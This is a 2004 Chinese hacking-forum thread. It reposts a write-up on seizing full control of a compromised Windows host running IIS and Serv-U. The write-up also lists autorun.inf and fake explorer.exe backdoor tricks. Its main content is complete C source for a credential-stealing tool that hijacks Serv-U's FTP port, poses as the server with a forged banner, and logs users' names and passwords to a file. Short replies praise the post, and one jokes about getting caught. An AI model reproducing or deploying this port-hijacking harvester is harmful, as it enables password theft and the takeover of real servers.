论坛: 黑客进阶 标题: 利用ftp服务程序本身设计的缺陷取得最高权限 复制本贴地址    
作者: TomyChen [quest]    版主   登录
这篇文章对入侵提出一种新思路,建议大家好好读读,不要说什么直接溢出就好了,并不是每次都可以直接溢出的。
代码在复制过来的时候,由于原论坛是PHP论坛,对\\过滤成了\ \0过滤成空,已经修改.

Author:WinEggDrop
///////////////以下为作者原文//////////////////
一台虚拟主机,NTFS文件系统,主机主要运行的服务为IIS和Serv-U.已经通过允许上传asp文件并执行那些as文件的问题得到了一般的user权限.由于管理员对目录的设置比较安全,只有C盘的根目录具有写权限,其它目录都只有读的权限.由于配置的安全性,用自己的后门程序替换掉服务启动的程序那一招已经不灵了,向Serv-U的配置文件加入一个有执行权限的帐户这一招也行不通了.入侵的那位朋友已经试过多种方法,没有一个可行的方法,于是他将这台入侵了一小半的系统pass给了我,看我有没有方法解决.
(这位朋友一天除了吃饭和睡觉外,就在对着电脑到处找新漏洞入侵系统,经常有些稀奇古怪的系统给我看)

解决方案是从serv-u那里想办法,因为那位朋友也试过好几种方法了,那些方法
1.上传个autorun.inf和后门上去硬盘根目录,(如果系统允许autorun的话,管理员看根目录时就会执行autorun.inf里定义的程序)
2.上传后门到硬盘根目录,改名为explorer.exe(很久的东西,windows搜索文件时是先从根目录先搜起的,如果在根目录先搜到,就执行那个文件.如果系统还存在这问题,如果管理员双击"我的电脑",就会执行了根目录下的那个后门的explorer.exe)
3.还有其它他想到的古怪方法都试过了,一样是没办法得到最高权限

系统应该已经打上最新的补丁了,用多个扫描器扫描iis也没有发现到什么漏洞,而且基本就是iis和serv-u这两个服务可利用,iis是没办法的了,只有从serv-u中下手.

系统中已运行一个user权限启动的小后门,只是得到个user限的shell.进去后查看了一下系统的配置和安装了的程序等等,发现了也只能在Serv-U那里动手脚了.Serv-U是4.1版本的,里面有5个帐号,有两个帐号的是有写权限的,并且root目录是在c:\下(通过查看serv-u的那个ini配置文件得知帐户的信息) ,如果能拿到其中一个帐号的密码,我们就具有写权限了.关键是如何得到那两个帐号的密码.

有人会想到破密码,这里最原始而且是在没有任何办法时才会试的办法,当然你不要期待有什么高的成功机会了,大家都应该Serv-u的帐号的密码是用什么算法加密的了,而且也应该知道那种加密算法用最快的破解程序,如果要穷举一个只是8位长度的密码是需要多长时间的.所以不要先想着破密码了.

要得到登陆serv-u的用户的密码,有人想到嗅探的方法,这当然是一个好方法,不过得先想想自己所处的权限(只是一般的user权限),根本不足以执行绑入网卡进行的无驱动的的嗅探程序(已测试过,证实不行的了) .

嗅探不行,突然想到shatter attack(有兴趣的朋友可以看看 http://security.tombom.co.uk/shatter.html   ),但看到
了"Any application on a given desktop can send a message to any window on the same desktop"这句, 我是从命令行进去用user权限运行的一个shell,似乎没有处于任何桌面,所以应该不能将信息发到serv-u的tray monitor中去.在测试前我先发了信到serv-u的help center中询问,主要是询问serv-u的4.1版本是否可以受shatter attack所影响, 收到的回复是4.1版本不会接收以不同权限发过来的信息,serv-u的tray monitor是登陆的管理员权限执行的,而我只是user权限,这已经很清楚说明了是不可能的,而且我也从来没有研究和测试过shatter attack,
所以还是先放弃了.

想来想去都没想到什么好的方法,已经打算不想的了,但在洗澡时却突然想到serv-u打开的端口是允许重绑的(不知道是什么原因,很多好的idea都是在洗澡时想到的,包括很多编程时遇到的问题有时都是在洗澡时想到解决方法的) .能够重绑端口,这样我就可以写一个程序,绑入serv-u打开的端口,那么连接到serv-u端口的验证信息就会被我的程序所得到,这样就有可能得到我所需要的帐号的用户名和密码了. 当然这个程序要"扮"得很像serv-u,例如收到连接时发送的是serv-u的正确banner,连接用户发送了用户名来时,程序也要象serv-u那样发个"331 User name okay, need password."的信息要求输出密码, 当用户输出密码后,程序就给连接者发送一个信息,大致是说连接者的IP是不允许登陆的,然后就断开连接者. 为了不被管理员察觉到问题,程序在得到那两个有用的帐号的其中一个的密码后,就会从内存中退出,这样原来的serv-u就能继续正常的工作,当然程序在退出前会将得到的帐号和密码发到我的hotmail的信箱中去.为了保险点,将帐号和密码备份写入到硬盘的一个文件中去(以防hotmail的服务有时中断无法接到邮件).

写到这里,剩下的问题就是写出那个程序了,那不算是什么困难的程序,因为各个部分的东西都曾经写过,所以写出来后测试了一下就能投入工作了.程序在那系统中运行了,我就打开了msn等着接信了.大约是半天时间左右吧,就得到了想要的帐号和密码了. 有了这个帐号,我就能登陆进那个serv-u中修改serv-u的配置,加个有执行权限的帐号,然后用这个新加的帐号就能上传任何后门或者其它东西上去那系统中运行了.到了这里,系统的最高权限已经到手了.

结语:
能够成功得到最高权限,这是由两个"缺陷"所造成的.
1.serv-u本身打开的端口允许重绑入(说是缺陷其实有点过份,因为serv-u的设计者没有想到你的系统会被人入侵到的).我也发信到serv-u中说明了一下这问题,希望serv-u新的版本打开的端口不允许被其它程序所重绑(其实只是多加一行代码就行了)
2.user权限下也可以重绑入其它以服务身份(local system)启动的程序的端口(说是缺陷也是有点过份) .
3.其它的ftp服务程序也有可能存在这个被重绑端口后登录者的帐号和密码被窃取的问题存在,而且其它的应用程序如果端口允许被重绑的话,也存在这种问题,只是视乎传输的信息是否明文还是被强度的算法加密过而已.端口被重绑后产生的问题是存在已久的了,所以我不会说是我发现的,这个文章也只是随便举了一个由于端口被重绑后产生的严重后果的例子罢了.

后面所跟的程序代码,我是去掉了将帐号和密码发送到邮箱的功能的,只是将信息保存到LogFile.Dat这文件中去,这是由于这类代码不会有什么人是利用来做好事的,所以在线通知也就删除了比较好.
代码:

****************************************************************************************
// Version: V1.0
// Coder: WinEggDrop
// Date Release: NULL
// Purpose: To Hijack FTP Sever's Open Port And Steal The Connector's UserName And Pass
// Test PlatForm: Win 2K Pro And Server SP4,Serv-U V4.1
// Compiled On: VC++ 6.0
// Others: This Code Is Only To Demonstrate The Danger Of An Application Allowing Its
//        Communication Port To Be Re-Binded(Hijack In Other Word).
//        If Your Box Is In A Lan,Don't Test It On Your Only Box Since It May Not Work
//****************************************************************************************
#include <stdio.h>
#include <winsock.h>
#include <windows.h>

#pragma comment(lib,"wsock32.lib")

SOCKET ListenSocket = INVALID_SOCKET;
static CRITICAL_SECTION    cs;
const  char *LogFile = "c:\\LogFile.Dat";

// Function ProtoType Declaration
//------------------------------------------------------------------------------------------------------
BOOL  StartHijack(const char *IPToBind,const char *Port);
BOOL  IsDigits(const char *String);
BOOL  InitSocket();
BOOL  CreateSocket(const char *IPToBind,const UINT ListenPort);
BOOL  HandleFTPRequest();
BOOL  SaveInfo(const char *FileName,const char *Info);
BOOL  SendSocket(const SOCKET ClientSocket,const char *Message);
BOOL  ReceiveSocketBuffer(const SOCKET ClientSocket,char *SocketBuffer,const int nSize);
DWORD WINAPI FTPThread(LPVOID Para);
BOOL  RetrieveFTPUserAndPass(const SOCKET ClientSocket);
//------------------------------------------------------------------------------------------------------
// End Of Fucntion ProtoType Declaration

int main(int argc,char *argv[])
{
if (argc != 3)        // Not Enough Parameters
{
    // Show The Usage And Example,Then Exit The Program
    printf("Usage:  %s BindedIP ListenPort\n",argv[0]);
    printf("Example: %s 192.168.0.1 21\n",argv[0]);
    return 0;
}

InitializeCriticalSection(&cs);
StartHijack(argv[1],argv[2]);        // We Are About to Hijack The Port
DeleteCriticalSection(&cs);
return 0;
}

//--------------------------------------------------------------------------------------------
// Purpose: To Create A Listening Socket
// Return Type: BOOLEAN
// Parameters: 
//          In: char UINT ListenPort  --> The Listening Port
//--------------------------------------------------------------------------------------------
BOOL CreateSocket(const char *IPToBind,const UINT ListenPort)
{
struct sockaddr_in Client;

ListenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);        // Create Socket

if (ListenSocket == INVALID_SOCKET)        // Fail To Create Socket
{
    printf("Fail To Create Socket\n");
    return FALSE;
}

memset(&Client, 0, sizeof(Client));
Client.sin_family = AF_INET;
Client.sin_port = htons(ListenPort);
Client.sin_addr.s_addr = inet_addr(IPToBind);

// Set Socket Option To Hijack The Port(Re-Bind Or Re-Use In Other word)
BOOL bReUser = TRUE;
if (setsockopt(ListenSocket,SOL_SOCKET,SO_REUSEADDR,(char *)&bReUser,sizeof(bReUser)) != 0)
{
    closesocket(ListenSocket);
    printf("Fail To Hijack The Port\n");
    return FALSE;
}

// Bind Socket
if (bind(ListenSocket,(const struct sockaddr *)&Client,sizeof(Client)) == INVALID_SOCKET)
{
    closesocket(ListenSocket);
    printf("Fail To Bind Port\n");
    return FALSE;
}

// Listen On The Port
if (listen(ListenSocket,5) == INVALID_SOCKET)
{
    closesocket(ListenSocket);
    return FALSE;
}

return TRUE;
}// End Of CreateSocket()


//--------------------------------------------------------------------------------------------
// Purpose: To Check The Parameters And Start To Hijack
// Return Type: BOOLEAN
// Parameters: 
//          In: const char *Port    --> The Listening Port
//--------------------------------------------------------------------------------------------
BOOL StartHijack(const char *IPToBind,const char *Port)
{
if (!InitSocket())        // Init Socket
{
    printf("Fail To Init Socket\n");       
    return FALSE;
}
if (!IsDigits(Port))        // Check Whether It's Invalid Port
{
    printf("Invalid Listen Port\n");
    return FALSE;
}

UINT ListenPort = atoi(Port);        // Get The Port
if (ListenPort <= 0 || ListenPort > 65535)       
{
    printf("The Listen Port Is Out Of Bound\n");
    return FALSE;
}

if (!CreateSocket(IPToBind,ListenPort))        // Create A TCP Listening Socket
{
    printf("Fail To Create Socket\n");/>    return FALSE;
}

return HandleFTPRequest();
}// End Of StartHijack()

// No Need To Comment
BOOL InitSocket()
{
WSADATA data;
WORD ver;

ver = MAKEWORD(2,2);
return (WSAStartup(ver, &data) == 0);
}// End Of InitSocket()

//--------------------------------------------------------------------------------------------
// Purpose: To Send Buffer Through Socket
// Return Type: BOOLEAN
// Parameters: 
//          In: const SOCKET ClientSocket    --> The Client Connected Socket
//--------------------------------------------------------------------------------------------
BOOL SendSocket(const SOCKET ClientSocket,const char *Message)
{
return (send(ClientSocket,Message,strlen(Message),0) != SOCKET_ERROR);
}// End Of SendSocket()

//--------------------------------------------------------------------------------------------
// Purpose: To Send FTP Banner To The Client
// Return Type: BOOLEAN
// Parameters: 
//          In: const SOCKET ClientSocket    --> The Client Connected Socket
//--------------------------------------------------------------------------------------------
BOOL SendFTPBanner(const SOCKET ClientSocket)
{
char *SendWelcomeInfo = "220 Serv-U FTP Server v4.1 for WinSock ready...\r\n";
return SendSocket(ClientSocket,SendWelcomeInfo);
}// End Of SendFTPBanner()

//--------------------------------------------------------------------------------------------
// Purpose: To Receive Buffer From Socket
// Return Type: BOOLEAN
// Parameters: 
//          In: const SOCKET ClientSocket    --> The Client Connected Socket
//          In: const int nSize              --> The SocketBuffer's Size
//          Out: char  *SocketBuffer          --> Buffer To Receive Data
//--------------------------------------------------------------------------------------------
BOOL ReceiveSocketBuffer(const SOCKET ClientSocket,char *SocketBuffer,const int nSize)
{
return (recv(ClientSocket,SocketBuffer,nSize,0) > 0);
}// End Of ReceiveSocketBuffer()

//--------------------------------------------------------------------------------------------
// Purpose: To Check Whether A String Only Contains Digits
// Return Type: BOOLEAN
// Parameters: 
//          In: const char *String    --> The String To Be Checked
//--------------------------------------------------------------------------------------------
BOOL IsDigits(const char *String)
{
UINT i = 0;
UINT StringLength = strlen(String);

for (i = 0;i < StringLength;i++)
{
    if (String[i] < 48 || String[i] > 57)
    {
        return FALSE;
    }
}
return TRUE;
}// End Of IsDigits()

//--------------------------------------------------------------------------------------------
// Purpose: To Save Information Into A File
// Return Type: BOOLEAN
// Parameters: 
//          In: const char *FileName    --> File To Store Information
//          In: const char *Info        --> Information To Be Stored Into File
//--------------------------------------------------------------------------------------------
BOOL SaveInfo(const char *FileName,const char *Info)
{
HANDLE hFile = NULL;
DWORD dwBytes = 0 ;
BOOL Flag = FALSE;

// Open A File For Writing
hFile = CreateFile(FileName,
                    GENERIC_READ|GENERIC_WRITE,
                    FILE_SHARE_WRITE,
                    NULL,
                    OPEN_ALWAYS,
                    FILE_ATTRIBUTE_NORMAL,
                    NULL
                  );

if (hFile == INVALID_HANDLE_VALUE)            // Fail To Open That File,Something Must Be Wrong
{
    return FALSE;
}
SetFilePointer(hFile,0,NULL,FILE_END);        // Set The File Pointer To The File End
Flag = WriteFile(hFile,Info,strlen(Info),&dwBytes,NULL);        // Write Information Into That File
CloseHandle(hFile);        // Close File Handle
return Flag;        // Return The WriteFile Status
}// End Of SaveInfo()

//--------------------------------------------------------------------------------------------
// Purpose: To Remove An Ending Enter From A String
// Return Type: BOOLEAN
// Parameters: 
//          In: char *String    --> String To Be Modified
//--------------------------------------------------------------------------------------------
BOOL DeleteEnter(char *String)
{
UINT Length = strlen(String);
if (String[Length - 2] == '\r' || String[Length - 2] == '\n')
{
    String[Length - 2] = '\0';
}
else
{
    if (String[Length - 1] == '\r' || String[Length - 1] == '\n')
    {
        String[Length - 1] = '\0';
    }
}
return TRUE;
}// End Of DeleteEnter()

//--------------------------------------------------------------------------------------------
// Purpose: To Handle FTP Request
// Return Type: BOOLEAN
// Parameters:  NONE
//--------------------------------------------------------------------------------------------
BOOL HandleFTPRequest()
{
DWORD dwThreadID;
SOCKET AcceptSocket = INVALID_SOCKET;
SOCKET *CloneSocket = NULL;

while(TRUE)
{
    SOCKADDR_IN client;
    int nSize = sizeof(client);
    AcceptSocket = accept(ListenSocket, (SOCKADDR *)&client, &nSize);

    if (AcceptSocket == INVALID_SOCKET)        // Something Is Wrong About The Socket
    {
        break;        // Get To Leave
    }

    CloneSocket = (SOCKET *)malloc(sizeof(AcceptSocket));        // Allocate For Socket Ram
    if (CloneSocket == NULL)        // Not Enough Ram,Very Rare Situation
    {
        closesocket(AcceptSocket);        // Close That Connection
        continue;       
    }

    *CloneSocket = AcceptSocket;        // Make A Copy Of Accpet Socket
    HANDLE hThread = CreateThread (NULL,0, (LPTHREAD_START_ROUTINE)FTPThread,CloneSocket,0, &dwThreadID);        // Create A Thread
    if (hThread != NULL)
    {
        CloseHandle(hThread);
    }
}
closesocket(ListenSocket);
return TRUE;
}// End Of HandleFPRequest()

//--------------------------------------------------------------------------------------------
// Purpose: To Steal The FTP UserName And Password
// Return Type: BOOLEAN
// Parameters: 
//            In: const SOCKET ClientSocket  --> The Connector's Socket
//--------------------------------------------------------------------------------------------
BOOL RetrieveFTPUserAndPass(const SOCKET ClientSocket)
{
const char *UserOK = "331 User name okay, need password.\r\n";
char Buffer[MAX_PATH];

memset(Buffer,0,sizeof(Buffer));

if (!ReceiveSocketBuffer(ClientSocket,Buffer,sizeof(Buffer)))        // Fail To Receive UserName
{
    return FALSE;
}

if (strnicmp(Buffer,"USER", 4) == 0)        // We Get The UserName, Store It Into File
{
    EnterCriticalSection(&cs);
    SaveInfo(LogFile,"---------------------------------------------------------------------------\r\n");
    SaveInfo(LogFile,Buffer);
    LeaveCriticalSection(&cs);
}
else        // Unknows Command Received
{
    return FALSE;
}

if (!SendSocket(ClientSocket,UserOK))        // Fail To Send Information
{
    return FALSE;
}

memset(Buffer,0,MAX_PATH);
if (!ReceiveSocketBuffer(ClientSocket,Buffer,sizeof(Buffer)))        // Fail To Receive Password
{
    return FALSE;
}

if (strnicmp(Buffer,"PASS", 4) == 0)        // We Get The Password, Store It Into File
{
    EnterCriticalSection(&cs);
    SaveInfo(LogFile,Buffer);
    SaveInfo(LogFile,"---------------------------------------------------------------------------\r\n\r\n");
    LeaveCriticalSection(&cs);
}
else        // Unknows Command Received
{
    return FALSE;
}
return TRUE;
}// End Of RetrieveFTPUserAndPass()

//--------------------------------------------------------------------------------------------
// Purpose: To Handle The Connector's Request
// Return Type: DWORD
// Parameters: 
//            In: LPVOID Para  --> The Connector's Socket
//--------------------------------------------------------------------------------------------
DWORD WINAPI FTPThread(LPVOID Para)
{
SOCKET ClientSocket = (*(SOCKET *)Para);        // Retrieve The Socket
free(Para);        // Free The Allocated Ram

if (!SendFTPBanner(ClientSocket))        // Fail To Send FTP Banner
{
    closesocket(ClientSocket);        // Close The Connection
    return 1;
}

RetrieveFTPUserAndPass(ClientSocket);        // Get The Connector's UserName and Password
SendSocket(ClientSocket,"530 Not logged in, unauthorized IP address.\r\n");        // Cheat The Connector By Sending This
closesocket(ClientSocket);        // Disconnect The Connector
return 0;
}// End Of FTPThread()
// End Of File





[此贴被 TomyChen(quest) 在 01月05日16时51分 编辑过]

地主 发表时间: 04-01-05 16:38

回复: newmyth21 [newmyth21]   论坛用户   登录
我看我有得忙了,虽然我看不明白,可是…………还是顶了

B1层 发表时间: 04-01-11 23:57

回复: upxshell [kuangren]   论坛用户   登录
精典,顶。

B2层 发表时间: 04-01-14 09:33

回复: collimator [collimator]   论坛用户   登录
我都看晕了!!

B3层 发表时间: 04-01-17 15:04

回复: agl [agl]   论坛用户   登录
好久没来,新的好内容不多啊,这篇算是最好的一个吧,支持一下。

B4层 发表时间: 04-01-18 00:06

回复: pula [pula]   论坛用户   登录
但愿不会被逮:-)

B5层 发表时间: 04-01-26 12:49

回复: a103360410 [a103360410]   论坛用户   登录
我还是菜鸟不懂但是还要顶一下

B6层 发表时间: 04-03-16 21:51

回复: hl82 [hl82]   论坛用户   登录
我也看不懂呀! 路还很长呀!

B7层 发表时间: 04-03-17 15:59

回复: aserict [aserict]   论坛用户   登录
看不懂

B8层 发表时间: 04-03-22 18:25

回复: snowred [snowred]   论坛用户   登录
good

B9层 发表时间: 04-03-24 14:20

论坛: 黑客进阶

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号